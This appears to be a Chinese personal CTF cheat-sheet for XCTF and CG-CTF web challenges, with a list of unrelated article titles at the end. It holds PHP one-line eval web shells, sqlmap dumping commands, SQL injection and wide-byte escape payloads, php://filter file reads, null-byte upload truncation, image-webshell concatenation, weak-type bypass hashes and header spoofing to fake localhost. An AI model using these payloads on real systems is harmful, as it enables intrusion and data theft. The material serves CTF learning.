XCTF总结:
  • 查看源码
    ctrl+U
    F12
    view-source:
    Burpsuite

  • robots.txt

  • 扫描目录脚本:桌面dirsearch-master
    命令:C:\Users\Yuen>python C:\Users\Yuen\Desktop\dirsearch-master\dirsearch.py -u http://111.198.29.45:50014/ -e *

  • 常见备份文件名
    .git
    .svn
    .swp
    .~
    .bak
    .bash_history

  • 注意cookie

  • 有些页面需要达到条件才能拿到flag,可以试试查看前端代码,并修改

  • X-Forwarded-For:123.123.123.123/Referer:https://www.google.com

  • 遇到登陆账号密码的,用bp进行爆破

  • 常用一句话

<?php @eval($_GET['cmd']); ?>
<?php @eval($_POST['cmd']); ?>
<?php @eval($_REQUEST['cmd']); ?>
  • 命令执行

command1 & command2 :不管command1执行成功与否,都会执行command2
command1 && command2 :先执行command1执行成功后才会执行command2 ,若command1执行失败,则不执行command2
command1 | command2 :只执行command2(将上一个命令的输出作为下一个命令的输入)
command1 || command2 :command1执行失败,再执行command2(若command1执行成功,就不再执行command2)

  • sqlmap爆破
    (1)全爆
    sqlmap -u “www.example” --dbs
    sqlmap -r xctfrequest.txt --dbs
    sqlmap -r xctfrequest.txt -D news --dump
    (2)慢慢爆
-D 数据库
-T 表名
-C 字段名
--dump
  • git泄露
    url访问:http://111.198.29.45:46634/.git/,出现泄露的文件,因此得出存在git文件泄露
    脚本:python GitHack.py http://111.198.29.45:31555/.git/

  • chrome://downloads,恢复恶意文件

  • 下载到附件后,查看代码可以根据代码内容修改后缀名查看

  • 浏览器会自动对url进行一次解码,有时需要两次编码

  • 序列化和反序列化

serialize()
unserialize()
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数
序列化字符串各部分简单释义:
O代表结构类型为:类:4表示类名长度:接着是类名:属性(成员)个数
大括号内分别是:属性名类型;长度:名称:值类型:长度:值
  • intval函数
    去除小数点(0除外)的函数

注:

  • 源码看不出东西就抓包,有些进行url超链接的需要抓包

  • POST提交数据:需要在最后一行添加Content-Type: application/x-www-form-urlencoded

  • find / -name flag.txt

  • 有时候有id=xx并不是一定存在sql注入,而是存在id的爆破,多多尝试

  • copy 1.jpg/b + 1.php/a 11.jpg

  • ==是判断返回true还是false

  • 一定仔细看题目,那就是提示

  • extract(),查询php官网得知这个函数会将参数里数组的键名当作变量名,值作为变量的值。

  • 上传时的1.php.jpg的00截断和Content-Type:

CG-CTF总结:
  • 修改前端代码长度
  • 图片源码查看可能有flag
  • 源码页面层层递进
  • 文字编码后,打开新txt,之后以Unicode格式保存(右键另存为),之后再放入控制台运行
  • 页面存在超链接,注意真正的链接会被重定向,考虑查看源代码或者使用bp
  • 文件包含伪协议php://filter/read=convert.base64-encode/resource=index.php
  • 修改cookie
  • robots.txt
  • 引号被转义,可以使用%df和\合成運,注释符可以是%23(#如果被过滤的话就url编码)或者–+
  • ereg()函数%00截断
    ereg()在匹配字串是检测到%00会停止,而strpos()会继续,故构造nctf=1%00%23biubiubiu即可得到flag(%23因为浏览器会自动解吗一次,只使用#会被浏览器自动解码成空)
  • php弱类型
    s878926199a
    0e545993274517709034328855841020
    s155964671a
    0e342768416822451524974117254469
  • post变量覆盖
    register_global=ON时POST传入数据值会覆盖掉php中变量值,源码中对post数据进行了extract()处理,extract()函数会将数组中的值赋给对应索引
  • 1.php%00截断不行,就把%00替换为空格标记该位置,在16进制中找到对应的位置,把20(空格的16进制是20)改为00截断
  • sql注入有源码给你看时,可能需要构造payload
正如下面user需要等于admin
if($_POST[user] && $_POST[pass])
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";//$user带进去后,这里的双引号就会消失的
构造语句:user=admin')#&pass=1111
  • strcmp()弱类型,传入数组时会返回null。所以post的数据为pass[]=1可以获取flag,pass=aa[]是不行的,必须要在参数pass后面加[]
  • 本地登录:抓包添加Client-ip:127.0.0.1或x-forwarded-for:127.0.0.1
  • 让两个数相等,要实现绕过还是可以使用16进制=10进制,十进制转16进制最好用python脚本,工具的转的hex(16进制不行)
  • sql注入:clean()函数去掉转义,htmlentities($str, ENT_QUOTES)会转换单引号和双引号。这里我们只能通过引入反斜杠,转义原有的单引号,改变原sql语句的逻辑,导致sql注入
    payload如下:?username=&password=%20or%201%23
  • 遇到一大串代码,就放到控制台里运行,乱码的话就先右键保存,转码后再放入控制台,也要注意请求头,响应头有没有提示
    如遇到history of bash,则url目录后访问/.bash_history,最后如果出现zip就下载
    例:
    zip -r mydata.zip mydata #压缩mydata目录 压缩成 mydata.zip 文件
    unzip mydata.zip -d mydatabak #解压mydata.zip 解压到mydatabak目录下
  • union前面的语句查询不成功的时候会执行后面的语句
  • vim这个东西异常退出时会留下临时文件常常是.swp、.swo格式。或者可能会留下备份文件~结尾文件,所以可以寻找action文件,例如是submit.php,之后在原本action的基础上加.sumbit.php.swp来查看submint.php的源码
  • 判断:0e11='0' //true 判断:000000...n个0='0' //true
  • 伪协议php://input访问请求的原始数据的只读流,如果无法显示flag就使用bp来进行post请求
  • 变量覆盖:foreach(name=meizijiu233 as $key => $value) //$key=name,$value=meizijiu233

注:PHP所使用的preg_match()函数从用户输入字符串获得参数,如果所传送的值为数组而不是字符串就会生成警告,警告消息中包含有当前运行脚本的完整路径
application/octet-stream 未知的应用程序文件

application/json json数据

text/plain 未知的文本文件(纯文本文件),浏览器会认为这是可以直接显示的

注:浏览器分辨文件是基于MIME的,而不会把文件打开查看是否是其他类型,例如用link链接了一个标记为text/plain的文件,就算此文件是css文件,就算其后缀是.css,浏览器依旧不认

text/css css文件

text/html HTML文件

image/gif gif文件

CTF个人总结指南(更新中)相关推荐

  1. CTF工具收集(持续更新中)

    1.searchsploit kali自带searchsploit https://github.com/offensive-security/exploitdb 使用案例: searchsploit ...

  2. unraid个人服务器使用指南——持续更新中

    unraid个人服务器使用指南--持续更新中 公网访问 内网穿透 公网IP访问 unRaid系统 开心版系统下载 增加硬盘 增加与替换硬盘注意事项 群晖虚拟机安装 docker安装 清理docker ...

  3. 火龙果(redpitaya)开发板常用接口C语言开发指南(九)——产生信号脉冲(持续更新中)

    火龙果(redpitaya)开发板常用接口C语言开发指南(九)--产生信号脉冲(持续更新中) --本人为<火龙果实战指南--搭建基于Zynq处理器的测量仪器与创新实践平台>一书的作者之一, ...

  4. 最好的Vue组件库之Vuetify的入坑指南(持续更新中)

    目录 安装Vuetify 文档结构 快速入门 特性 样式和动画 首先先声明,个人不是什么很牛逼的大佬,只是想向那些想入坑Vuetify的前端新手或者嫌文档太长不知如何入手的人提供一些浅显的建议而已,能 ...

  5. 叮咚!您有一份2017杭州云栖大会参会指南待签收【持续更新中】

    点击查看全文 10月11-14日,为期四天的2017杭州云栖大会将再度在杭州云栖小镇举办,作为全球最具影响力的科技展会之一,本届大会不仅有阿里集团专家以及各企业行业领袖的精彩演讲,众多让人耳目一新的黑 ...

  6. .NET Core微服务之路:不断更新中的目录 (v0.42)

    原文:.NET Core微服务之路:不断更新中的目录 (v0.42) 微服务架构,对于从事JAVA架构的童鞋来说,早已不是什么新鲜的事儿,他们有鼎鼎大名的Spring Cloud这样的全家桶框架支撑, ...

  7. 找软件完全安装手册——【19年3月】各行业软件大全\系统安装、系统装机、软件安装、各种完全手册更新中(来自第一设计群)

    找软件完全安装手册--[各行业软件大全\系统安装.系统装机.软件安装.各种完全手册更新中(来自第一设计群) 各类软件安装包.安装手册(新手点我进入下载指南) 大菜单(完全卸载清理各种软件.回复本公众号 ...

  8. 沉睡者 - 网赚创业VIP项目课程-持续更新中...

    沉睡者 - 网赚创业VIP项目课程-持续更新中... 不管在线下还是线上,都尽量只做有积累可持续的项目,否则就容易进入到一个找项目做项目死项目之后,不断重复找项目,不断重复做苦力没有发展的死循环. 在 ...

  9. 陈潇冰 react权威指南_React中条带化付款的分步指南

    陈潇冰 react权威指南 This is an adapted from several excerpts from Scott Hasbrouck's book, "The Node.j ...

  10. 图像处理-机器学习一些科普材料汇集 - 持续更新中_拔剑-浆糊的传说_新浪博客...

    图像处理-机器学习-SLAM基础知识汇集(更新中) --by zxg519 at sina.com 1.适用于机器学习的矩阵求导推导技巧 1.矩阵求导术(上)-- 非常好 https://zhuanl ...

最新文章

  1. 单词转换(map对象)
  2. 存储过程mysql into select into_mysql 存储过程select into select into select的搜索结果-阿里云开发者社区...
  3. labview求n阶乘的和_求极限方法总结
  4. 如何在mysql navicat 设置datetime类型的默认事件值
  5. HTML全面深入学习-用label获得焦点
  6. 黑苹果系统引导工具正确安装步骤
  7. 中文版putty后门事件分析
  8. lcx的使用-内网穿透
  9. OSChina 周一乱弹 ——我们不应歧视任何语言,她们都是萌娘!(有图有真相)...
  10. 用java做出长方体的表面积_计算长方体、四棱锥的表面积和体积(Java)acm.sdut...
  11. 图解HTTP(读书笔记01)
  12. 1000句英语经典口语
  13. 兴趣题:猴子吃桃问题
  14. netcore 动软三层架构-急速开发框架 winfrom demo
  15. flink从kafka读取数据并传到mysql数据库
  16. pandas与数据库
  17. 重磅 !程序猿月薪7万可以落户北京!
  18. 【C/C++】用格雷戈里公式求π
  19. 评定兰花价格的七项标准!
  20. linux下的CPU、内存、IO、网络的压力测试工具与方法

热门文章

  1. 《数据库SQL实战》查找所有员工的last_name和first_name以及对应的dept_name
  2. 分布式应用框架Akka快速入门
  3. Spark RDD使用详解5--Action算子
  4. 深入理解ThreadLocal
  5. 使用Android studio 运行react-native项目
  6. 204. Count Primes
  7. BJOI 2012 求和
  8. 微信公众号消息模板开发
  9. 8行代码教你搞定导航控制器全屏滑动返回效果 ————转载
  10. 一起播四个视频的AVS脚本